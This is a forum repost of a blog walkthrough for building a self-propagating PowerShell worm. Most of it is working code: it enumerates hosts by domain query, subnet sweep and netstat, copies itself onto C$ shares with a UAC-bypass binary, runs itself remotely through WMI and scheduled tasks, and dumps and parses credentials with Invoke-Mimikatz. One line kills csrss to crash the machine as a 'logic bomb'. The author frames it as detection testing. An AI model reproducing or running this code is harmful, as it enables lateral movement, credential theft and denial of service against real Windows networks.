Jump to content
Fi8sVrs

Creating a Powershell-based worm

Recommended Posts

  • Active Members

TL;DR: Another Powershell Worm here.

Recently, I was approached with a few ideas about worms to test the potential to detect/stop such. This, and reading some interesting posts about PowerShell based worm(s), pushed me to attempt to build a worm with a slightly different take.

One of the requirements of this worm is to propagate without certainty of an external connection or not to the internet. This is important if the worm is to jump across an airgap’d network somehow or if the command and control is severed. Also, attempting to dump creds and setting some sort of persistence would be a plus. Lastly, the whole thing (or as much as possible) should be written in powershell, so the option of base64 encoding it and running it in memory is present.

Target enumeration

This is a pick your own adventure technique. First, the worm will need to identify potential targets to spread to. The worm uses 3 techniques (others may exist) to enumerate targets:


  1. Dump domain hosts
  2. grab local class C
  3. grab IPs from netstat

As annotated in an earlier post, we can cycle domain hosts pretty easily if we are logged into a domain via:

function getDomain {
$final = @()
#get Domain computers
$strCategory = "computer"
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.Filter = ("(objectCategory=$strCategory)")
$colProplist = "name", "cn"
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
$colResults = $objSearcher.FindAll()
foreach ($objResult in $colResults)
{
$objComputer = $objResult.Properties
$bleh = $objComputer.name
$final += $bleh
}
return $final
}

But what if the victim host isn’t a part of a domain? This will fail, so error handling will be useful here (see final version at the top of the page). The next attempt to enumerate hosts is a class c brute force. To set this up, the worm needs to know the current IP address of the machine we are on, a la:

$enum = Get-WMIObject win32_NetworkAdapterConfiguration | 
Where-Object { $_.IPEnabled -eq $true } |
Foreach-Object { $_.IPAddress } |
Foreach-Object { [IPAddress]$_ } |
Where-Object { $_.AddressFamily -eq 'Internetwork' } |
Foreach-Object { $_.IPAddressToString }

Then, the worm parses the first 3 octets and runs through a for loop (assumes /24 at the moment):

function getClassC{
Param($ip);
$final = @()
$classC = $ip.Split(".")[0]+"."+$ip.Split(".")[1]+"."+$ip.Split(".")[2]
for($i=1; $i -lt 255; $i++)
{
$final += $classC + $i.ToString()
}
return $final
}

Lastly, the worm will try a netstat “hail mary”:

#//netstat mode
$n = netstat -ano

foreach ($n2 in $n)
{
$n4= $n2.Split(" ")
foreach ($n3 in $n4)
{
$n5 = $n3.Split(":")[0]
if (($n5.Length -gt 7) -and ($n5.Length -lt 22))
{
if (!( ($n5 -eq "0.0.0.0") -or ($n5 -eq $ip) -or ($n5 -eq "127.0.0.1") ) )
{
if ($n5.Contains("."))
{
Write-Host $n5
$final += $n5
}
}

}
}
}

Spreading technique

In the testing environment, we were able to spread using the various techniques, but for simplicity we will discuss PsDrive (additional techniques may be used). The credentials used to run the worm as (or lack thereof) will dictate what is available.

PsDrive can set up a powershell accessible share much like net share, except that this share is only viewable in powershell!

ps-drive11.png

Screenshot of successfully created PS-Drive that does not show up under net use.

Here, the worm sets up the PsDrive to copy files over, moves the files to the destination (via C$ in our example, but others shares may exist):

$prof = "USERPROFILE"
$profile = (get-item env:$prof).Value +"\Downloads"
$pro1 = $profile.SubString(3, $profile.Length-3)
$psdrive = "\\"+$nethost+"\C$\"+ $pro1
New-PsDrive -Name Y -PsProvider filesystem -Root $psdrive

Next, the worm (and any additional scripts) are copied over:

Copy-Item $profile\PowerW0rm.ps1 Y:\PowerW0rm.ps1
Copy-Item $profile\PowerW0rm.mof Y:\PowerW0rm.mof
Copy-Item $profile\Invoke-Mimikatz.ps1 Y:\Invoke-Mimikatz.ps1
Copy-Item $profile\bypassuac-x64.exe Y:\bypassuac-x64.exe

Finally, since this code is running in a loop, the worm removes the PsDrive:

Remove-PsDrive Y

Code Execution

By default in a Windows 7/Server 2008 R2 environment, Remote Powershell isn’t enabled by default. However, other options do exist depending on access level and GPO settings. The worm uses two methods of code execution: schtasks and Invoke-WMIMethod (others will exist, such as Invoke-Command). Some of the examples can be found below:

$run = "powershell -exec Bypass "+$profile+"\\PowerWorm.ps1"
$task = $profile+"\\bypassuac-x64.exe /C powershell.exe -exec Stop-Process csrss" # BSOD for a logic bomb

#run with dump creds
Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred
-Impersonation Impersonate -ArgumentList $run
#run as current user
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $run
#schtask example
schtasks /CREATE /S $nethost /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F #scheduled for the 1st of the year @ 00:01 AM
schtasks /RUN /TN "update54" #Runs task immediately (kills worm, but just PoC)
schtasks /DEL /TN "update54" #would never run in this context, but is an example

Credential Harvesting

The worm uses a call to Invoke-Mimikatz.ps1 from the PowerSploit project to dump and parse creds as it jumps from machine to machine. This is achieved will a slight modification to the very end of Invoke-Mimikatz.ps1:

$creds = Invoke-Mimikatz -dumpcreds
Write-Host $creds

The worm first calls Invoke-Minikatz:

#try to grab creds
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
$scriptPath = $scriptPath + "\Invoke-Mimikatz.ps1 -dumpcreds"
$creds = "powershell.exe -exec Bypass " + $scriptPath
$creds_str = runCMD $creds

Followed by some nifty regex to extract just username and password from output:

$creds_regex= @"
.*\*\sUsername.*
.*\*\sDomain.*
.*\*\sPassword.*
"@

$creds_str = $creds -replace " ", "`r`n"

$cred_store = @{}

$found = new-object System.Text.RegularExpressions.Regex($creds_regex, [System.Text.RegularExpressions.Regexoptions]::Multiline)
$m=$found.Matches($creds_str)

And finally, some last minute parsing which trims the strings to exactly what is needed:

function parsed()
{
Param([string]$str1)
$p1 = $str1 -split '[\r\n]'
$parse=@()

for ($j=0; $j -lt 3; $j++)
{
$num = $j*2
$p2 = $p1[$num].split(":")
#Write-Host $j "," $num "," $p2
$p3 = $p2[1]

$parse+= , $p3
}
return $parse
}

Additional thoughts

At the top of the post, as well as here, is a link for the complete PoC PowerWorm.ps1. It works well on Vista/7, but there seem to be a few bugs trying run this against XP/8 (due to an error with Invoke-Mimikatz). I used something very similar after gaining domain admin credentials, then began laterally moving in an environment where psexec/winrm/pass-the-hash tricks did not seem to work. I did have some issues (duh) with this worm hammering the DC because there is no check in place to see if the worm had already ran on a host, and the DC is the first host in the domain hosts array! The fix for this issue is left as an exercise for the reader. Also, this script could be easily modified to roll out other files/scripts/binaries across a domain automatically-which I also did trying to push traffic generation scripts for testing at a later date, but that story is for another post.

Source: https://khr0x40sh.wordpress.com/2014/11/13/powershell-worm/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...